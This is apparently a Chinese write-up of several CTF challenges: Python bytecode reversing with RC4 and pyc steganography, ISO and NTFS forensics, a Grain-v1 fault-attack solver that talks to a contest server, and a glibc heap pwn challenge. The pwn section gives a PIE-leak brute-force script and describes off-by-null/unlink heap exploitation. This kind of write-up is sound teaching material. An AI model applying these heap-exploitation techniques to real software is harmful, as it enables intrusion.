30 36 LOAD_CONST 7 (<code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>)
38 LOAD_CONST 8 ('RC4')
40 MAKE_FUNCTION 0
42 STORE_NAME 5 (RC4)
33 44 LOAD_CONST 9 (<code object xor at 0x7f1199dd4500, file "main.py", line 30>)
46 LOAD_CONST 10 ('xor')
48 MAKE_FUNCTION 0
50 STORE_NAME 6 (xor)
34 52 LOAD_NAME 7 (__name__)
54 LOAD_CONST 11 ('__main__')
56 COMPARE_OP 2 (==)
58 POP_JUMP_IF_FALSE 139 (to 278)
35 60 LOAD_CONST 12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f')
62 STORE_NAME 8 (w)
38 64 LOAD_CONST 13 (b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~')
66 STORE_NAME 9 (e)
39 68 LOAD_CONST 14 (b'geo')
70 STORE_NAME 10 (b)
41 72 LOAD_CONST 15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141')
74 STORE_NAME 11 (s)
42 76 LOAD_CONST 16 (b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1")
78 STORE_NAME 12 (t)
43 80 LOAD_CONST 17 (115)
82 LOAD_CONST 18 (97)
84 LOAD_CONST 19 (117)
86 LOAD_CONST 20 (114)
88 LOAD_CONST 21 ((2, 8, 11, 10))
90 BUILD_CONST_KEY_MAP 4
92 STORE_NAME 13 (m)
44 94 LOAD_CONST 22 (119)
96 LOAD_CONST 23 (116)
98 LOAD_CONST 24 (124)
100 LOAD_CONST 25 (127)
102 LOAD_CONST 26 ((3, 7, 9, 12))
104 BUILD_CONST_KEY_MAP 4
106 STORE_NAME 14 (n)
45 108 LOAD_NAME 13 (m)
110 LOAD_CONST 27 (<code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>)
112 LOAD_CONST 28 ('<dictcomp>')
114 MAKE_FUNCTION 0
116 LOAD_NAME 14 (n)
118 GET_ITER
120 CALL_FUNCTION 1
122 INPLACE_OR
124 STORE_NAME 13 (m)
47 126 LOAD_NAME 13 (m)
128 LOAD_CONST 29 (<code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>)
130 LOAD_CONST 30 ('<genexpr>')
132 MAKE_FUNCTION 0
134 LOAD_NAME 10 (b)
136 GET_ITER
138 CALL_FUNCTION 1
140 INPLACE_OR
142 STORE_NAME 13 (m)
48 144 LOAD_NAME 5 (RC4)
146 LOAD_NAME 15 (list)
148 LOAD_NAME 16 (map)
150 LOAD_CONST 31 (<code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>)
152 LOAD_CONST 32 ('<lambda>')
154 MAKE_FUNCTION 0
156 LOAD_NAME 17 (sorted)
158 LOAD_NAME 13 (m)
160 LOAD_METHOD 18 (items)
162 CALL_METHOD 0
164 CALL_FUNCTION 1
166 CALL_FUNCTION 2
168 CALL_FUNCTION 1
170 CALL_FUNCTION 1
172 STORE_NAME 19 (stream)
49 174 LOAD_NAME 20 (print)
176 LOAD_NAME 6 (xor)
178 LOAD_NAME 8 (w)
180 LOAD_NAME 19 (stream)
182 CALL_FUNCTION 2
184 LOAD_METHOD 21 (decode)
186 CALL_METHOD 0
188 CALL_FUNCTION 1
190 POP_TOP
50 192 LOAD_NAME 0 (sys)
194 LOAD_ATTR 22 (stdin)
196 LOAD_ATTR 23 (buffer)
198 LOAD_METHOD 24 (read)
200 CALL_METHOD 0
202 STORE_NAME 25 (p)
52 204 LOAD_NAME 6 (xor)
206 LOAD_NAME 9 (e)
208 LOAD_NAME 19 (stream)
210 CALL_FUNCTION 2
212 STORE_NAME 9 (e)
53 214 LOAD_NAME 6 (xor)
216 LOAD_NAME 25 (p)
218 LOAD_NAME 19 (stream)
220 CALL_FUNCTION 2
222 STORE_NAME 26 (c)
54 224 LOAD_NAME 2 (sha256)
226 LOAD_NAME 26 (c)
228 CALL_FUNCTION 1
230 LOAD_METHOD 27 (digest)
232 CALL_METHOD 0
234 LOAD_NAME 11 (s)
236 COMPARE_OP 2 (==)
238 POP_JUMP_IF_FALSE 131 (to 262)
56 240 LOAD_NAME 20 (print)
242 LOAD_NAME 6 (xor)
244 LOAD_NAME 12 (t)
246 LOAD_NAME 19 (stream)
248 CALL_FUNCTION 2
250 LOAD_METHOD 21 (decode)
252 CALL_METHOD 0
254 CALL_FUNCTION 1
256 POP_TOP
258 LOAD_CONST 1 (None)
260 RETURN_VALUE
33 >> 262 LOAD_NAME 20 (print)
264 LOAD_NAME 9 (e)
266 LOAD_METHOD 21 (decode)
268 CALL_METHOD 0
270 CALL_FUNCTION 1
272 POP_TOP
274 LOAD_CONST 1 (None)
276 RETURN_VALUE
>> 278 LOAD_CONST 1 (None)
280 RETURN_VALUE
Disassembly of <code object KSA at 0x7f1199dc7890, file "main.py", line 6>:
8 0 LOAD_GLOBAL 0 (len)
2 LOAD_FAST 0 (key)
4 CALL_FUNCTION 1
6 STORE_FAST 1 (keylength)
9 8 LOAD_GLOBAL 1 (list)
10 LOAD_GLOBAL 2 (range)
12 LOAD_CONST 1 (256)
14 CALL_FUNCTION 1
16 CALL_FUNCTION 1
18 STORE_FAST 2 (S)
10 20 LOAD_CONST 2 (0)
22 STORE_FAST 3 (j)
11 24 LOAD_GLOBAL 2 (range)
26 LOAD_CONST 1 (256)
28 CALL_FUNCTION 1
30 GET_ITER
>> 32 FOR_ITER 29 (to 92)
34 STORE_FAST 4 (i)
12 36 LOAD_FAST 3 (j)
38 LOAD_FAST 2 (S)
40 LOAD_FAST 4 (i)
42 BINARY_SUBSCR
44 BINARY_ADD
46 LOAD_FAST 0 (key)
48 LOAD_FAST 4 (i)
50 LOAD_FAST 1 (keylength)
52 BINARY_MODULO
54 BINARY_SUBSCR
56 BINARY_ADD
58 LOAD_CONST 1 (256)
60 BINARY_MODULO
62 STORE_FAST 3 (j)
13 64 LOAD_FAST 2 (S)
66 LOAD_FAST 3 (j)
68 BINARY_SUBSCR
70 LOAD_FAST 2 (S)
72 LOAD_FAST 4 (i)
74 BINARY_SUBSCR
76 ROT_TWO
78 LOAD_FAST 2 (S)
80 LOAD_FAST 4 (i)
82 STORE_SUBSCR
84 LOAD_FAST 2 (S)
86 LOAD_FAST 3 (j)
88 STORE_SUBSCR
90 JUMP_ABSOLUTE 16 (to 32)
>> 92 LOAD_FAST 2 (S)
94 RETURN_VALUE
Disassembly of <code object PRGA at 0x7f1199dc7940, file "main.py", line 16>:
17 0 GEN_START 0
18 2 LOAD_CONST 1 (0)
4 STORE_FAST 1 (i)
19 6 LOAD_CONST 1 (0)
8 STORE_FAST 2 (j)
20 10 NOP
21 >> 12 LOAD_FAST 1 (i)
14 LOAD_CONST 3 (1)
16 BINARY_ADD
18 LOAD_CONST 4 (256)
20 BINARY_MODULO
22 STORE_FAST 1 (i)
22 24 LOAD_FAST 2 (j)
26 LOAD_FAST 0 (S)
28 LOAD_FAST 1 (i)
30 BINARY_SUBSCR
32 BINARY_ADD
34 LOAD_CONST 4 (256)
36 BINARY_MODULO
38 STORE_FAST 2 (j)
23 40 LOAD_FAST 0 (S)
42 LOAD_FAST 2 (j)
44 BINARY_SUBSCR
46 LOAD_FAST 0 (S)
48 LOAD_FAST 1 (i)
50 BINARY_SUBSCR
52 ROT_TWO
54 LOAD_FAST 0 (S)
56 LOAD_FAST 1 (i)
58 STORE_SUBSCR
60 LOAD_FAST 0 (S)
62 LOAD_FAST 2 (j)
64 STORE_SUBSCR
24 66 LOAD_FAST 0 (S)
68 LOAD_FAST 0 (S)
70 LOAD_FAST 1 (i)
72 BINARY_SUBSCR
74 LOAD_FAST 0 (S)
76 LOAD_FAST 2 (j)
78 BINARY_SUBSCR
80 BINARY_ADD
82 LOAD_CONST 4 (256)
84 BINARY_MODULO
86 BINARY_SUBSCR
88 STORE_FAST 3 (K)
19 90 LOAD_FAST 3 (K)
92 YIELD_VALUE
94 POP_TOP
96 JUMP_ABSOLUTE 6 (to 12)
Disassembly of <code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>:
28 0 LOAD_GLOBAL 0 (KSA)
2 LOAD_FAST 0 (key)
4 CALL_FUNCTION 1
6 STORE_FAST 1 (S)
8 LOAD_GLOBAL 1 (PRGA)
10 LOAD_FAST 1 (S)
12 CALL_FUNCTION 1
14 RETURN_VALUE
Disassembly of <code object xor at 0x7f1199dd4500, file "main.py", line 30>:
31 0 LOAD_GLOBAL 0 (bytes)
2 LOAD_GLOBAL 1 (map)
4 LOAD_CLOSURE 0 (stream)
6 BUILD_TUPLE 1
8 LOAD_CONST 1 (<code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>)
10 LOAD_CONST 2 ('xor.<locals>.<lambda>')
12 MAKE_FUNCTION 8 (closure)
14 LOAD_FAST 0 (p)
16 CALL_FUNCTION 2
18 CALL_FUNCTION 1
20 RETURN_VALUE
Disassembly of <code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>:
0 LOAD_FAST 0 (x)
2 LOAD_DEREF 0 (stream)
4 LOAD_METHOD 0 (__next__)
6 CALL_METHOD 0
8 BINARY_XOR
10 RETURN_VALUE
Disassembly of <code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>:
0 BUILD_MAP 0
2 LOAD_FAST 0 (.0)
>> 4 FOR_ITER 9 (to 24)
6 STORE_FAST 1 (x)
8 LOAD_FAST 1 (x)
10 LOAD_FAST 1 (x)
12 LOAD_GLOBAL 0 (n)
14 LOAD_FAST 1 (x)
16 BINARY_SUBSCR
18 BINARY_XOR
20 MAP_ADD 2
22 JUMP_ABSOLUTE 2 (to 4)
>> 24 RETURN_VALUE
Disassembly of <code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>:
0 GEN_START 0
2 LOAD_FAST 0 (.0)
>> 4 FOR_ITER 9 (to 24)
6 STORE_FAST 1 (i)
8 LOAD_FAST 1 (i)
10 LOAD_METHOD 0 (bit_count)
12 CALL_METHOD 0
14 LOAD_FAST 1 (i)
16 BUILD_TUPLE 2
18 YIELD_VALUE
20 POP_TOP
22 JUMP_ABSOLUTE 2 (to 4)
>> 24 LOAD_CONST 0 (None)
26 RETURN_VALUE
Disassembly of <code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>:
0 LOAD_FAST 0 (x)
2 LOAD_CONST 1 (1)
4 BINARY_SUBSCR
6 RETURN_VALUE
人工手动逆向得到对应 python 代码大概如下
(有些地方没有完全按照字节码来写
import sys
from hashlib import sha256
w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo'
s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}
def KSA(key):
keylength = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def xor(p,stream):
return bytes(map(lambda x:x ^ stream.__next__(), p))
# n = {2:115, 8:97, 11:117, 10:114}
# x:x^n[x] -> <dictcomp>
m |= {x: x^n[x] for x in n}
m |= ((i.bit_count(), i) for i in b)
stream = RC4(list(map(lambda m:m[1], sorted(m.items()))))
# print welcome banner...
# print(stream)
print(xor(w, stream).decode())
p = sys.stdin.buffer.readline()
e = xor(e, stream)
# print(e)
c = xor(p, stream)
if sha256(c).digest() != s: # error
print(e.decode())
exit()
print(xor(t, stream)) # true?
大约可以直到,这个地方通过爆破输入字符的长度,得到t的真实数据
可以发现,输入长度为 26 的时候,会提示说 Congratulations! Now you should now what the flag is,这个就是 t 的解密结果。而其他情况都不能正确解码。
于是就去找哪里还有这个输入。
然后发现用 pyc 隐写了一部分内容,使用脚本 stegosaurus 导出 pyc 隐写。
需要魔改一下 header,python 3.10 长度是16.
另外输出的话不用转 str,直接 bytes 就好了。
或者脚本
result=""
with open("py.txt","r") as f:
for line in f.readlines():
if line:
result+=line.strip()
print(result)
可以通过字节码写出py文件,最后是pyc隐写,网上找个脚本修改,得到flag
w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f'
e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~'
b = b'geo'
s = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141'
t = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}
def KSA(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def xor(p,stream):
return bytes(map(lambda x:x ^ stream.__next__(), p))
m.update({x:x^n[x] for x in n})
mm = {5:103,4:101,6:111}
m.update(mm)
stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))
banner = xor(w, stream).decode()
wrong = xor(e, stream).decode()
pp = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'
result = xor(pp, stream)
print(xor(t, stream))
print(result)
得到长度为 26 的 bytes
b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
最后将这个作为输入,然后让上述代码的 c 打印出来,即为 flag
flag{P0w5rFu1_0pEn_50urcE}
5.ISO1995
We follow ISO1995. ISO1995 has many problems though. One known problem is a time.
压缩包解压密码:fantasicqwb2021
下载下来以 iso9660 挂载
mount -t iso9660 iso1995 /mnt/随便一个目录
发现有一堆名为 flag_fxxxxx (xxxx为数字)的文件。
用 ultraISO 把文件导出来,发现每个文件只有一个字符。
另外根据题目提示,查看 hex 发现他每个文件名之前的 FFFFFFFF 之后跟着的 2bytes 都不同,怀疑是个序号或者时间之类的。
于是写个脚本提取,转成十进制作为文件名并按照这个顺序把文件内容读取出来。
import re
with open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin:
s = fin.read()
s = s.strip().replace(' ', '').replace('\n', '')
print(s)
# FFFFFFFF027D08020000010000011A0066006C00610067005F006600300031003000310031003B0031003C0041040000000004410100000000000001
# FFFFFFFF001E08020000010000011A0066006C00610067005F006600300031003000300038003B0031003C003E0400000000043E0100000000000001
# FFFFFFFF011208020000010000011A0066006C00610067005F006600300030003900340032003B0031003C00FC030000000003FC0100000000000001
re_num = re.compile(
r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})')
l = re_num.findall(s)
len(l)
# 1024
filename_list = []
for i in l:
name = int(i[0], 16)
# print(name)
filename_list.append(name)
decode_str2 = ''
for i in filename_list:
filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}'
with open(filename, 'r', encoding='utf-8') as f:
x = f.read()
print(x)
decode_str2 += x
print(decode_str2)
# !Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,CO@V.s-%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
# FLAG{Dir3ct0ry_jYa_n41}
FLAG{Dir3ct0ry_jYa_n41}
或者
import re
import struct
with open("iso1995", "rb") as f:
data = f.read()
pos_val = {}
res = []
for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)):
index = x.start()-12
index = struct.unpack(">H", data[index:index+2])[0]
index_data = 0x26800 + (index * 0x800)
pos_val[index] = data[index_data:index_data+1].decode("utf-8")
for k, v in pos_val.items():
res.append(v)
print("".join(res))
赛后发现这个又是原题。。
6.EzTime
Forensic.Find a file that a time attribute has been modified by a program. (本题flag为非正式形式)
压缩包解压密码:fantasicqwb2021
解压得到 $LogFile、$MFT (Master File Table)
NTFS Timestamp changes on Windows 10
Do you MFT? Here’s an MFT Overview.
最后又找到了个 NTFS Log Tracker 工具
导入之后可以看到相关信息
找了老半天时间参数被修改的文件,最后发现是这个(
可以把时间导出来发现秒以下都是 000000…
或者
使用X-Ways-Forensics打开$MFT,专业工具->将镜像文件转为磁盘
调整记录更新时间排序即可发现,最新的被修改过的文件
提交的 flag 就是
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png
7.问卷题
flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}
CRYPTO
1.guess_game
题目用的是Grain_v1,根据题意,需要猜32次guess
32轮相互独立,每次key,iv不同且决定初始量,guess引入的是1-10bit的翻转,显然是一个DFA(DifferentialFault Attack)
这里从paper
Grain-v1 的多比特差分故障攻击【密码学报 ISSN 2095-7025CN 10-1195/TN】中找到灵感(另外这一片很像这篇paper:Differential Fault Attack against Grainfamily with very few faults and minimal assumptions()的翻译啊)
于是这里我首先将key和iv固定,随机选择guess,运行160轮,查看zi的differential,发现并没有固定项
随后我将guess固定,key和iv随机选择,运行160轮。查看zi的differential,发现存在固定项。
于是自0-160,遍历guess将所有可能的固定项确定下来。
1的固定项用2**16-1去与
0的固定相用0去或
然后组合,而不固定项记为2
得到一个集合table3.data
import random
import string
import hashlib
import sys
from collections import deque
#from secret import plist, banner
plist = [i for i in range(150)]
import sys
assert max(plist) < 160
class generator:
def __init__(self, key: list, iv: list, hint: bool, k=0, m=0):
self.NFSR = deque()
self.LFSR = deque()
for i in range(80):
self.NFSR.append(key[i])
for i in range(64):
self.LFSR.append(iv[i])
for i in range(64, 80):
self.LFSR.append(1)
self.clock()
if hint:
s = self.NFSR + self.LFSR
for i in range(k, k + m):
s[i] ^= 1
self.NFSR = deque(list(s)[:80])
self.LFSR = deque(list(s)[80:])
def clock(self):
for i in range(160):
zi = self.PRGA()
self.NFSR[79] ^= zi
self.LFSR[79] ^= zi
def PRGA(self):
x0 = self.LFSR[3]
x1 = self.LFSR[25]
x2 = self.LFSR[46]
x3 = self.LFSR[64]
x4 = self.NFSR[63]
hx = x1 ^ x4 ^ (x0 & x3) ^ (x2 & x3) ^ (x3 & x4) ^ (x0 & x1 & x2) ^ (x0 & x2 & x3) ^ (x0 & x2 & x4) ^ (x1 & x2 & x4) ^ (x2 & x3 & x4)
zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx
fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]
gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37]
^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0]
^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9])
^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (
self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33])
^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (
self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37])
^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (
self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])
self.LFSR.popleft()
self.LFSR.append(fx)
self.NFSR.popleft()
self.NFSR.append(gx)
return zi
def proof_of_work():
s = "".join(random.choices(string.ascii_letters + string.digits, k=20))
prefix = s[:4]
print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}")
print("give me xxxx:")
ans = input().strip()
if len(ans) == 4 and ans == prefix:
return True
else:
return False
#if not proof_of_work():
#sys.exit(0)
#with open("/root/task/flag.txt", "r")as f:
#flag = f.read()
#print(banner + "n")
print("Welcome to my number guessing game. If you win the game, I'll give you the flagn")
count = 0
glist = random.choices(plist, k=32)
table1 = set()
table2 = set()
table3 = {}
#glist[round]
for guess in range(160):
z1 = 2**160-1
z2 = 0
for round in range(160):
k = guess // 2
m = guess % 10
if m == 0:
m = 10
#print("k,m",k,m)
key = bin(random.getrandbits(80))[2:].zfill(80)
key = list(map(int, key))
iv = bin(random.getrandbits(64))[2:].zfill(64)
iv = list(map(int, iv))
a = generator(key, iv, False) #
k1 = []
for i in range(160):
k1.append(a.PRGA())
k1 = int("".join(list(map(str, k1))), 2)
b = generator(key, iv, True, k, m) #
k2 = []
for i in range(160):
k2.append(b.PRGA())
k2 = int("".join(list(map(str, k2))), 2)
#print(f"round {round+1}")
#print("Here are some tips might help your:")
#print(bin(k1)[2:].rjust(160,"0"))
#print(bin(k2)[2:].rjust(160,"0"))
#print(bin(k1^k2)[2:].rjust(160,"0"))
z1 &= k1^k2
z2 |= k1^k2
table1.add(str(z1))
table2.add(str(z2))
tmp1 = bin(z1)[2:].rjust(160,"0")
tmp2 = bin(z2)[2:].rjust(160,"0")
tmp3 =""
for i in range(len(tmp1)):
flag=0
if tmp1[i]=='1':
tmp3+='1'
flag=1
if tmp2[i]=='0':
tmp3+='0'
flag=1
if tmp1[i]=='1' and tmp2[i]=='0':
print("sth. strange")
if flag==0:
tmp3+='2'
table3[guess] = tmp3
print(tmp3)
import pickle
with open("table3.data","wb") as f:
pickle.dump(table3,f)
随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。
from pwn import *
import pickle
sh=remote("39.105.139.103","10002")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
context.log_level = 'debug'
def proof_of_work(sh):
sh.recvuntil("xxxx + ")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
log.success(cipher)
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
log.success(proof)
sh.sendlineafter("give me xxxx:", proof)
with open("table3.data","rb") as f:
table = pickle.load(f)
#print(len(table))
proof_of_work(sh)
#sh.interactive()
def find(sig):
sig = (bin(sig)[2:].rjust(160,"0"))
for index,each in table.items():
#print(each)
#print(sig)
for i in range(len(each)):
if each[i] == '2':
continue
elif each[i] != sig[i]:
break
else:
sh.sendline(str(index))
break
else:
print("no")
for i in range(32):
sh.recvuntil("Here are some tips might help your:n")
z1 = int(sh.recvuntil("n")[:-1])
z2 = int(sh.recvuntil("n")[:-1])
sh.recvuntil(">")
#print
#print("z1,",z1)
#print("z2,",z2)
find(z1^z2)
sh.interactive()
最后
[*] Switching to interactivemode
[DEBUG] Received 0x37 bytes:
b'you are smart!n'
b'n'
b'flag{48ef413f0073134548e81124bdafed72}n'
you are smart!
PWN
1.baby_diary
参考 https://bbs.pediy.com/thread-257901.htm 实现堆块复用,后面就是常规题目
保护
熟悉得菜单
write
这里有个稍稍复杂的机制。
在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。
后面函数是干嘛的。
会控制后面哪一个字节。
具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。
所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.
read
正常的输出
输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。
delete
看得到清理得还是很干净的。
我们的思路是这样的。
off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar
关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。
但是出问题了,报错。
看了一下源码,
2.29之后通过这个检查把这种house of ein就没了。
所以我们只能考虑unlink。
unlink需要泄露地址,泄露一个heap地址,或者程序基地址。
没想出来。
参考了NU1L的wp,大佬还是大佬。
问题出在show,show越界了。
它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。
我们试图从address_array向上寻找。
便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。
gdb调试往上调,我们发现了一个这样的地方。
1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。
我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。
首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。
我们发现
size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。
所以我们要首先申请够23个chunk。
申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。
剩下的爆破就行
到此呢我们做到了一个什么事情,我们可以得到程序的pie。
贴一下爆破的部分算了,剩下的就自己随便写了
from pwn import *
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> ", "1")
r.sendlineafter("size: ", str(size))
r.sendafter("content: ", content)
def show(index):
r.sendlineafter(">> ", "2")
r.sendlineafter("index: ", str(index))
def dele(index):
r.sendlineafter(">> ", "3")
r.sendlineafter("index: ", str(index))
while True:
try:
r = process('./baby_diary')
for i in range(22):
add(0x1000,'\xff'*0x1000)
add(0x7000000,'aaaa\n')
show(-11)
r.recvuntil('\x08')
break
except EOFError:
r.close()
continue
leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008
gdb.attach(r)
input()
然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。
它来自一篇博客。
2.29 off by null
它也是在伪造chunk,但是做法更复杂也更高级。
不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。
我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。
